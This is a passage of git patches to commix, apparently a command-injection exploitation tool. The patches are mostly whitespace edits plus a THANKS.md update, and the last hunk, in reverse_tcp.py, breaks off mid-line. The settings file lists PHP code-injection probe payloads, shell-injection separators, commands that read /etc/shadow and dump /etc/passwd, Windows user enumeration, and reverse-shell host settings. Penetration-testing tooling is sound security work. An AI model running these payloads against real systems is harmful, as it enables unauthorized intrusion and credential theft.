settings.VERBOSITY_LEVEL != 0: - if not failed: + if settings.VERBOSITY_LEVEL != 0: + if not failed: print(settings.SINGLE_WHITESPACE) else: print(settings.SINGLE_WHITESPACE) @@ -116,7 +116,7 @@ def purge(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Renaming filenames to random values." sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + sys.stdout.flush() failed = False for file_path in file_paths: try: @@ -124,8 +124,8 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: + if settings.VERBOSITY_LEVEL != 0: + if not failed: print(settings.SINGLE_WHITESPACE) else: print(settings.SINGLE_WHITESPACE) @@ -134,7 +134,7 @@ def purge(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Renaming directory names to random values." sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + sys.stdout.flush() failed = False dir_paths.sort(key=functools.cmp_to_key(lambda x, y: y.count(os.path.sep) - x.count(os.path.sep))) for dir_path in dir_paths: @@ -143,13 +143,13 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: + if settings.VERBOSITY_LEVEL != 0: + if not failed: print(settings.SINGLE_WHITESPACE) else: print(settings.SINGLE_WHITESPACE) - # Deleting the whole directory tree. + # Deleting the whole directory tree. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Deleting the whole directory tree." sys.stdout.write(settings.print_debug_msg(debug_msg)) @@ -158,11 +158,11 @@ def purge(): os.chdir(os.path.join(directory, "..")) shutil.rmtree(directory) except OSError as ex: - failed = True - if not failed: + failed = True + if not failed: print(settings.SINGLE_WHITESPACE) else: - print(settings.SINGLE_WHITESPACE) + print(settings.SINGLE_WHITESPACE) err_msg = "Problem occurred while removing directory '" + directory + "'." print(settings.print_critical_msg(err_msg)) diff --git a/src/utils/requirments.py b/src/utils/requirments.py index 8a06414a3a..fe90f0a0cd 100644 --- a/src/utils/requirments.py +++ b/src/utils/requirments.py @@ -20,7 +20,7 @@ """ def do_check(requirment): try: - # Pipe output to the file path of the null device, for silence. + # Pipe output to the file path of the null device, for silence. # i.e '/dev/null' for POSIX, 'nul' for Windows null = open(os.devnull,"w") subprocess.Popen(requirment, stdout=null, stderr=null) @@ -29,5 +29,5 @@ def do_check(requirment): except OSError: return False - + # eof \ No newline at end of file diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 99e573ef8f..f050c4c2fc 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -74,7 +74,7 @@ def flush(url): print(settings.print_warning_msg(warn_msg)) """ -Clear injection point records +Clear injection point records except latest for every technique. """ def clear(url): @@ -96,7 +96,7 @@ def clear(url): Import successful injection points to session file. """ def injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable): - try: + try: conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ip" + \ "(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR," \ @@ -117,7 +117,7 @@ def injection_point_importation(url, technique, injection_type, separator, shell conn.close() if settings.INJECTION_CHECKER == False: settings.INJECTION_CHECKER = True - + except sqlite3.OperationalError as err_msg: err_msg = str(err_msg)[:1].upper() + str(err_msg)[1:] + "." err_msg += " You are advised to rerun with switch '--flush-session'." @@ -141,7 +141,7 @@ def applied_techniques(url, http_request_method): applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip "\ "ORDER BY id DESC;") - if settings.TESTABLE_PARAMETER: + if settings.TESTABLE_PARAMETER: applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip WHERE "\ "url = '" + url + "' AND "\ "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ @@ -160,7 +160,7 @@ def applied_techniques(url, http_request_method): session = session[0][4:] elif "dynamic" in session[0][:7]: settings.EVAL_BASED_STATE = True - session = session[0][13:] + session = session[0][13:] values += session[0][:1] applied_techniques = ''.join(list(set(values))) return applied_techniques @@ -178,7 +178,7 @@ def applied_techniques(url, http_request_method): def applied_levels(url, http_request_method): try: conn = sqlite3.connect(settings.SESSION_FILE) - if settings.TESTABLE_PARAMETER: + if settings.TESTABLE_PARAMETER: applied_level = conn.execute("SELECT is_vulnerable FROM " + table_name(url) + "_ip WHERE "\ "url = '" + url + "' AND "\ "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ @@ -190,7 +190,7 @@ def applied_levels(url, http_request_method): "vuln_parameter = '" + settings.INJECT_TAG + "' AND "\ "http_request_method = '" + http_request_method + "' "\ "ORDER BY id DESC;") - + for session in applied_level: return session[0] @@ -220,7 +220,7 @@ def injection_point_exportation(url, http_request_method): elif menu.options.tech[:1] == "t": select_injection_type = "B" else: - select_injection_type = "S" + select_injection_type = "S" if settings.TEMPFILE_BASED_STATE and select_injection_type == "S": check_injection_technique = "t" elif settings.EVAL_BASED_STATE and select_injection_type == "R": @@ -286,7 +286,7 @@ def notification(url, technique, injection_type): message = "A previously stored session has been held against that target. " message += "Do you want to resume to " message += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " - message += technique.rsplit(' ', 2)[0] + message += technique.rsplit(' ', 2)[0] message += " injection point? [Y/n] > " settings.LOAD_SESSION = common.read_input(message, default="Y", check_batch=True) if settings.LOAD_SESSION in settings.CHOICE_YES: @@ -307,17 +307,17 @@ def notification(url, technique, injection_type): elif proceed_option.lower() == "n": raise SystemExit() else: - pass + pass else: - common.invalid_option(proceed_option) - pass + common.invalid_option(proceed_option) + pass if settings.SESSION_APPLIED_TECHNIQUES: menu.options.tech = ''.join(settings.AVAILABLE_TECHNIQUES) return False elif settings.LOAD_SESSION in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(settings.LOAD_SESSION) + common.invalid_option(settings.LOAD_SESSION) pass except sqlite3.OperationalError as err_msg: print(settings.print_critical_msg(err_msg)) @@ -327,7 +327,7 @@ def notification(url, technique, injection_type): """ Check for specific stored parameter. """ -def check_stored_parameter(url, http_request_method): +def check_stored_parameter(url, http_request_method): if injection_point_exportation(url, http_request_method): if injection_point_exportation(url, http_request_method)[16] == str(menu.options.level): # Check for stored alternative shell @@ -344,7 +344,7 @@ def check_stored_parameter(url, http_request_method): """ def store_cmd(url, cmd, shell, vuln_parameter): if any(type(_) is str for _ in (url, cmd, shell, vuln_parameter)): - try: + try: conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ir" + \ "(cmd VARCHAR, output VARCHAR, vuln_parameter VARCHAR);") @@ -361,7 +361,7 @@ def store_cmd(url, cmd, shell, vuln_parameter): str(base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode()), \ str(settings.HTTP_HEADER))) conn.commit() - conn.close() + conn.close() except sqlite3.OperationalError as err_msg: print(settings.print_critical_msg(err_msg)) except (TypeError, AttributeError) as err_msg: @@ -390,10 +390,10 @@ def export_stored_cmd(url, cmd, vuln_parameter): for session in cursor: output = base64.b64decode(session[0]) - try: + try: return output.decode(settings.DEFAULT_CODEC) except AttributeError: - return output + return output else: no_such_table = True pass @@ -430,7 +430,7 @@ def import_valid_credentials(url, authentication_type, admin_panel, username, pa Export valid credentials from session file. """ def export_valid_credentials(url, authentication_type): - try: + try: if not menu.options.flush_session: conn = sqlite3.connect(settings.SESSION_FILE) output = None diff --git a/src/utils/settings.py b/src/utils/settings.py index 88b6f5e16c..d3fbacd29b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -46,22 +46,22 @@ class HTTPMETHOD(object): # Status Signs LEGAL_DISCLAIMER = "(" + Style.BRIGHT + Fore.RED + "!" + Style.RESET_ALL + ") " + "Legal disclaimer: " INFO_SIGN = Style.RESET_ALL + "[" + Fore.GREEN + "info" + Style.RESET_ALL + "] " -INFO_BOLD_SIGN = "[" + Fore.GREEN + Style.BRIGHT + "info" + Style.RESET_ALL + "] " +INFO_BOLD_SIGN = "[" + Fore.GREEN + Style.BRIGHT + "info" + Style.RESET_ALL + "] " REQUEST_SIGN = Style.RESET_ALL + "[" + Style.BRIGHT + Back.MAGENTA + "traffic" + Style.RESET_ALL + "] " RESPONSE_SIGN = Style.RESET_ALL + "[" + Style.BRIGHT + Back.MAGENTA + "traffic" + Style.RESET_ALL + "] " QUESTION_SIGN = Style.BRIGHT -TOTAL_OF_REQUESTS_COLOR = Fore.LIGHTYELLOW_EX +TOTAL_OF_REQUESTS_COLOR = Fore.LIGHTYELLOW_EX WARNING_SIGN = "[" + Fore.LIGHTYELLOW_EX + "warning" + Style.RESET_ALL + "] " WARNING_BOLD_SIGN = "[" + Style.BRIGHT + Fore.YELLOW + "warning" + Style.RESET_ALL + "] " + Style.BRIGHT -ERROR_SIGN = "[" + Fore.RED + "error" + Style.RESET_ALL + "] " -ERROR_BOLD_SIGN = "[" + Style.BRIGHT + Fore.RED + "error" + Style.RESET_ALL + "] " +ERROR_SIGN = "[" + Fore.RED + "error" + Style.RESET_ALL + "] " +ERROR_BOLD_SIGN = "[" + Style.BRIGHT + Fore.RED + "error" + Style.RESET_ALL + "] " CRITICAL_SIGN = "[" + Back.RED + "critical" + Style.RESET_ALL + "] " -PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] " +PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] " SUB_CONTENT_SIGN = " " * 11 + Fore.GREY + "|_ " + Style.RESET_ALL SUB_CONTENT_SIGN_TYPE = Fore.LIGHTRED_EX + " * " + Style.RESET_ALL TRAFFIC_SIGN = HTTP_CONTENT_SIGN = "" -ABORTION_SIGN = ERROR_SIGN -DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " +ABORTION_SIGN = ERROR_SIGN +DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " DEBUG_BOLD_SIGN = "[" + Back.BLUE + Style.BRIGHT + Fore.WHITE + "debug" + Style.RESET_ALL + "] " + Style.BRIGHT CHECK_SIGN = DEBUG_SIGN + "Checking pair of HTTP authentication credentials: " OS_SHELL_TITLE = Style.BRIGHT + "Pseudo-Terminal Shell (type '?' for available options)" + Style.RESET_ALL @@ -110,12 +110,12 @@ def print_bold_warning_msg(warn_msg): # Print debug message (verbose mode) def print_debug_msg(debug_msg): result = print_time() + DEBUG_SIGN + debug_msg + Style.RESET_ALL - return result + return result # Print bold debug message (verbose mode) def print_bold_debug_msg(debug_msg): result = print_time() + DEBUG_BOLD_SIGN + debug_msg + Style.RESET_ALL - return result + return result # Print request HTTP message def print_request_msg(req_msg): @@ -183,7 +183,7 @@ def print_retrieved_data(cmd, retrieved): # Print output of command execution def command_execution_output(shell): result = Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL - return result + return result # argv checks def sys_argv_checks(): @@ -252,9 +252,9 @@ def sys_argv_errors(): COLOR_VERSION = Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL YEAR = "2014-2023" -AUTHOR_TWITTER = "@ancst" -APPLICATION_URL = "https://commixproject.com" -APPLICATION_TWITTER = "@commixproject" +AUTHOR_TWITTER = "@ancst" +APPLICATION_URL = "https://commixproject.com" +APPLICATION_TWITTER = "@commixproject" # Default User-Agent DEFAULT_USER_AGENT = APPLICATION + "/" + VERSION + " (" + APPLICATION_URL + ")" @@ -267,16 +267,16 @@ def sys_argv_errors(): # Random string generator RANDOM_STRING_GENERATOR = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) -# Readline +# Readline READLINE_ERROR = False # User-supplied operating system command USER_SUPPLIED_CMD = "" # Random Tag -RANDOM_TAG = "" +RANDOM_TAG = "" -if RANDOM_TAG == "" : +if RANDOM_TAG == "" : RANDOM_TAG = RANDOM_STRING_GENERATOR # Proxy @@ -319,14 +319,14 @@ def sys_argv_errors(): #Basic heuristic checks for code injection warnings or... phpinfo page ;) PHPINFO_PAYLOAD = "phpinfo()" -PHP_EXEC_FUNCTIONS = [ "" + PHPINFO_PAYLOAD + "", - "exec(" + PHPINFO_PAYLOAD + ")", - "eval(" + PHPINFO_PAYLOAD + ")", - "system(" + PHPINFO_PAYLOAD + ")" +PHP_EXEC_FUNCTIONS = [ "" + PHPINFO_PAYLOAD + "", + "exec(" + PHPINFO_PAYLOAD + ")", + "eval(" + PHPINFO_PAYLOAD + ")", + "system(" + PHPINFO_PAYLOAD + ")" ] -PHPINFO_CHECK_PAYLOADS = [ - [".print(" + x + ")" for x in PHP_EXEC_FUNCTIONS], +PHPINFO_CHECK_PAYLOADS = [ + [".print(" + x + ")" for x in PHP_EXEC_FUNCTIONS], [")'}" + x + "'#" for x in PHP_EXEC_FUNCTIONS], ["'." + x + ".'" for x in PHP_EXEC_FUNCTIONS], ["{${" + x + "}}" for x in PHP_EXEC_FUNCTIONS], @@ -354,10 +354,10 @@ def sys_argv_errors(): WILDCARD_CHAR_APPLIED = False POST_WILDCARD_CHAR = "" -# Testable parameter(s) - comma separated. +# Testable parameter(s) - comma separated. TEST_PARAMETER = "" -# Skip testing for given parameter(s) - comma separated. +# Skip testing for given parameter(s) - comma separated. SKIP_PARAMETER = "" # Use a proxy to connect to the target URL. @@ -397,7 +397,7 @@ class OS(object): # Stored applied techniques SESSION_APPLIED_TECHNIQUES = "" -# The name of the operating system dependent module imported. +# The name of the operating system dependent module imported. PLATFORM = os.name IS_WINDOWS = PLATFORM == "nt" @@ -413,7 +413,7 @@ class OS(object): COMMIX_ROOT_PATH = os.path.abspath(os.curdir) # Output Directory -OUTPUT_DIR = ".output/" +OUTPUT_DIR = ".output/" # Output file name OUTPUT_FILE_NAME = "logs" @@ -436,7 +436,7 @@ class OS(object): SLOW_TARGET_RESPONSE = 3 # The testable parameter. -TESTABLE_PARAMETER = "" +TESTABLE_PARAMETER = "" TESTABLE_VALUE = "" @@ -447,14 +447,14 @@ class OS(object): SEPARATORS = [] DEFAULT_SEPARATORS = ["", ";", "%26", "|"] SPECIAL_SEPARATORS = ["%26%26", "||", "%0a", "%0d%0a", "%1a"] -SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS +SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS SEPARATORS_LVL3 = SEPARATORS_LVL2 = SEPARATORS_LVL1 # The command injection prefixes. PREFIXES = [] PREFIXES_LVL1 = [""] PREFIXES_LVL2 = SEPARATORS_LVL1 -PREFIXES_LVL3 = PREFIXES_LVL2 + ["'", "\""] +PREFIXES_LVL3 = PREFIXES_LVL2 + ["'", "\""] # The command injection suffixes. SUFFIXES = [] @@ -481,7 +481,7 @@ class OS(object): EVAL_PREFIXES = [] EVAL_PREFIXES_LVL1 = [".", "'.", "{${"] EVAL_PREFIXES_LVL2 = EVAL_PREFIXES_LVL1 + [")'}", "');}"] -EVAL_PREFIXES_LVL3 = EVAL_PREFIXES_LVL2 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""] +EVAL_PREFIXES_LVL3 = EVAL_PREFIXES_LVL2 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""] # The code injection suffixes. EVAL_SUFFIXES = [] @@ -555,7 +555,7 @@ class OS(object): RECOGNISE_OS = "uname -s" WIN_RECOGNISE_OS = "ver" -# Distribution Description / Release +# Distribution Description / Release DISTRO_INFO = "echo $(lsb_release -sir)" # Hardware platform. @@ -584,8 +584,8 @@ class OS(object): # /etc/passwd PASSWD_FILE = "/etc/passwd" -SYS_USERS = "awk -F ':' '{print $1}{print $3}{print $6}' " + PASSWD_FILE -EVAL_SYS_USERS = "awk -F ':' '{print \$1}{print \$3}{print \$6}' " + PASSWD_FILE +SYS_USERS = "awk -F ':' '{print $1}{print $3}{print $6}' " + PASSWD_FILE +EVAL_SYS_USERS = "awk -F ':' '{print \$1}{print \$3}{print \$6}' " + PASSWD_FILE # Exports users of localgroup WIN_SYS_USERS = "powershell.exe -InputFormat none write-host (([string]$(net user)[4..($(net user).length-3)]))" @@ -593,7 +593,7 @@ class OS(object): # /etc/shadow SHADOW_FILE = "/etc/shadow" -SYS_PASSES = FILE_READ + SHADOW_FILE +SYS_PASSES = FILE_READ + SHADOW_FILE WIN_REPLACE_WHITESPACE = "-replace('\s+',' '))" @@ -643,7 +643,7 @@ class OS(object): "Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1b3) Gecko/20090315 Firefox/3.1b3", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20131401 Firefox/31.0", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.34 (KHTML, like Gecko) Dooble/1.40 Safari/534.34", - # Oldies + # Oldies "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)", @@ -687,8 +687,8 @@ class OS(object): # Custom HTTP Headers injection CUSTOM_HEADER_INJECTION = False -CUSTOM_HEADER_NAME = "" -CUSTOM_HEADER_VALUE = "" +CUSTOM_HEADER_NAME = "" +CUSTOM_HEADER_VALUE = "" # Valid URL format check VALID_URL_FORMAT = "https?://(?:www)?(?:[\w-]{2,255}(?:\.\w{2,6}){1,2})(?:/[\w&%?#-]{1,310})?" @@ -733,7 +733,7 @@ class OS(object): except LookupError: DEFAULT_PAGE_ENCODING = DEFAULT_CODEC -# Character Sets List. +# Character Sets List. # A complete list of the standard encodings Python supports. ENCODING_LIST = [ "iso-8859-1", @@ -871,25 +871,25 @@ class OS(object): # Extensions skipped by crawler CRAWL_EXCLUDE_EXTENSIONS = [ - "3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", - "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", - "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", - "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", - "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", - "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", - "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", - "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", - "ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", - "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", - "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", - "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", + "3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", + "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", + "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", + "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", + "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", + "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", + "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", + "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", + "ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", + "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", + "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", + "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "z", "zip", "zipx" ] TARGET_APPLICATION = "" # Unsupported target application(s) [1] # [1] https://github.com/commixproject/commix/wiki/Target-applications -UNSUPPORTED_TARGET_APPLICATION = [ +UNSUPPORTED_TARGET_APPLICATION = [ "" ] @@ -953,7 +953,7 @@ class OS(object): DEL = "rm " # Time-based Variables -FOUND_HOW_LONG = "" +FOUND_HOW_LONG = "" FOUND_DIFF = "" # Check for PowerShell @@ -962,7 +962,7 @@ class OS(object): # ANSI colors removal ANSI_COLOR_REMOVAL = r'\x1b[^m]*m' -# Default LHOST / LPORT / RHOST setup, +# Default LHOST / LPORT / RHOST setup, # for the reverse TCP connection LHOST = "" LPORT = "" @@ -1067,13 +1067,13 @@ class AUTH_TYPE(object): ] IGNORE_TAMPER_TRANSFORMATION = [ - "IFS", - "if", - "then", - "else", - "fi", - "str", - "cmd", + "IFS", + "if", + "then", + "else", + "fi", + "str", + "cmd", "char" ] @@ -1089,7 +1089,7 @@ class AUTH_TYPE(object): BAD_GATEWAY = "502" SERVICE_UNAVAILABLE = "503" GATEWAY_TIMEOUT = "504" -HTTP_ERROR_CODES = [ BAD_REQUEST, +HTTP_ERROR_CODES = [ BAD_REQUEST, UNAUTHORIZED_ERROR, FORBIDDEN_ERROR, NOT_FOUND_ERROR, diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py index aa9c77ee70..fd0796e7fe 100644 --- a/src/utils/simple_http_server.py +++ b/src/utils/simple_http_server.py @@ -87,7 +87,7 @@ class Handler(_BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(self): try: #Open the static file requested and send it - f = open(self.path) + f = open(self.path) self.send_response(_http_client.OK) self.send_header(settings.CONNECTION, "close") self.end_headers() diff --git a/src/utils/update.py b/src/utils/update.py index 9d27770ec2..10dd38d3ed 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -46,7 +46,7 @@ def revision_num(): subprocess.Popen("find . -name \"*.pyc\" -delete", shell=True).wait() # Delete empty directories and files. subprocess.Popen("find . -empty -type d -delete", shell=True).wait() - if settings.VERBOSITY_LEVEL == 0: + if settings.VERBOSITY_LEVEL == 0: stdout, _ = process.communicate() match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") rev_num = match.group(0) if match else None @@ -59,7 +59,7 @@ def revision_num(): info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(how_long)) + "." print(settings.print_info_msg(info_msg)) except: - print(settings.SINGLE_WHITESPACE) + print(settings.SINGLE_WHITESPACE) raise SystemExit() """ @@ -67,11 +67,11 @@ def revision_num(): """ def updater(): time.sleep(1) - info_msg = "Checking requirements to update " + info_msg = "Checking requirements to update " info_msg += settings.APPLICATION + " from GitHub repository. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() - if menu.options.offline: + if menu.options.offline: print(settings.SINGLE_WHITESPACE) err_msg = "You cannot update commix via GitHub without access on the Internet." print(settings.print_critical_msg(err_msg)) @@ -97,7 +97,7 @@ def updater(): else: print(settings.SINGLE_WHITESPACE) if os.path.isdir("./.git"): - info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) " + info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) " info_msg += "version. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -106,10 +106,10 @@ def updater(): os._exit(0) else: print(settings.SINGLE_WHITESPACE) - err_msg = "The '.git' directory not found. Do it manually: " - err_msg += Style.BRIGHT + "'git clone " + settings.GIT_URL + err_msg = "The '.git' directory not found. Do it manually: " + err_msg += Style.BRIGHT + "'git clone " + settings.GIT_URL err_msg += " " + settings.APPLICATION + "' " - print(settings.print_critical_msg(err_msg)) + print(settings.print_critical_msg(err_msg)) raise SystemExit() else: print(settings.SINGLE_WHITESPACE) @@ -132,7 +132,7 @@ def check_for_update(): line = line.rstrip() if "VERSION_NUM = " in line: update_version = line.replace("VERSION_NUM = ", "").replace("\"", "") - break + break if (int(settings.VERSION_NUM.replace(".","")[:2]) < int(update_version.replace(".","")[:2])) or \ ((int(settings.VERSION_NUM.replace(".","")[:2]) == int(update_version.replace(".","")[:2])) and \ int(settings.VERSION_NUM.replace(".","")[2:]) < int(update_version.replace(".","")[2:])): @@ -144,7 +144,7 @@ def check_for_update(): elif do_update in settings.CHOICE_NO: break else: - common.invalid_option(do_update) + common.invalid_option(do_update) pass except KeyboardInterrupt: raise @@ -156,11 +156,11 @@ def check_for_update(): """ def unicorn_updater(current_version): APPLICATION_NAME = "TrustedSec's Magic Unicorn" - info_msg = "Checking requirements to update " + info_msg = "Checking requirements to update " info_msg += APPLICATION_NAME + " from GitHub repository. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() - if menu.options.offline: + if menu.options.offline: print(settings.SINGLE_WHITESPACE) err_msg = "You cannot update TrustedSec's Magic Unicorn " err_msg += "via GitHub without access on the Internet." @@ -187,7 +187,7 @@ def unicorn_updater(current_version): else: os.chdir("../") subprocess.Popen("rm -rf unicorn", shell=True).wait() - info_msg = "Updating " + APPLICATION_NAME + " to the latest (dev) " + info_msg = "Updating " + APPLICATION_NAME + " to the latest (dev) " info_msg += "version. " subprocess.Popen("git clone https://github.com/trustedsec/unicorn", shell=True).wait() os.chdir("unicorn") @@ -209,7 +209,7 @@ def unicorn_updater(current_version): """ def check_unicorn_version(current_version): try: - if len(current_version) != 0: + if len(current_version) != 0: response = _urllib.request.urlopen('https://raw.githubusercontent.com/trustedsec/unicorn/master/unicorn.py', timeout=settings.TIMEOUT) latest_version = response.readlines() for line in latest_version: @@ -228,7 +228,7 @@ def check_unicorn_version(current_version): print(settings.print_warning_msg(warn_msg)) else: warn_msg = "TrustedSec's Magic Unicorn seems to be not installed." - print(settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) while True: if len(current_version) == 0: action = "install" @@ -241,7 +241,7 @@ def check_unicorn_version(current_version): elif do_update in settings.CHOICE_NO: break else: - common.invalid_option(do_update) + common.invalid_option(do_update) pass except KeyboardInterrupt: diff --git a/src/utils/version.py b/src/utils/version.py index 4f2ca1e6fb..b39fc458c6 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -29,7 +29,7 @@ def show_version(): def python_version(): PYTHON_VERSION = sys.version.split()[0] if PYTHON_VERSION.split(".")[0] != "3": - warn_msg = "Deprecated Python version detected: " + warn_msg = "Deprecated Python version detected: " warn_msg += PYTHON_VERSION + ". " warn_msg += "You are advised to use Python version 3." print("\n" + settings.print_bold_warning_msg(warn_msg)) From 6bdadec329ea0ed0185346598be0051c81f2ca6c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Jul 2023 08:33:41 +0300 Subject: [PATCH 329/560] Update THANKS.md --- doc/THANKS.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/doc/THANKS.md b/doc/THANKS.md index 5999a82158..08c0cc1482 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -7,6 +7,8 @@ * Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation. ## List of individual contributors: +* Thanks [0xFred](https://github.com/0xFred) for contributing code. +* Thanks [verfosec](https://github.com/verfosec) for contributing a Farsi(Persian) translation of README.md. * Thanks [daniruiz](https://github.com/daniruiz) for contributing code. * Thanks [galihap76](https://github.com/galihap76) for contributing an Indonesian translation of README.md. * Thanks [JitPatro](https://github.com/JitPatro) for creating a snap package for commix (i.e. `snap install commix`). From 707e0cb0812e97aad3a82dc564094c4fc0b40edb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 23 Jul 2023 12:56:40 +0300 Subject: [PATCH 330/560] Minor update --- src/core/shells/reverse_tcp.py | 15 ++++++--------- src/utils/settings.py | 4 +++- 2 files changed, 9 insertions(+), 10 deletions(-) diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 82cd695433..6d10cdbb25 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -101,9 +101,8 @@ def set_php_working_dir(): if php_dir in settings.CHOICE_YES: break elif php_dir in settings.CHOICE_NO: - message = "Please provide a custom working directory for PHP (e.g. '" - message += settings.WIN_PHP_DIR + "') > " - settings.WIN_PHP_DIR = 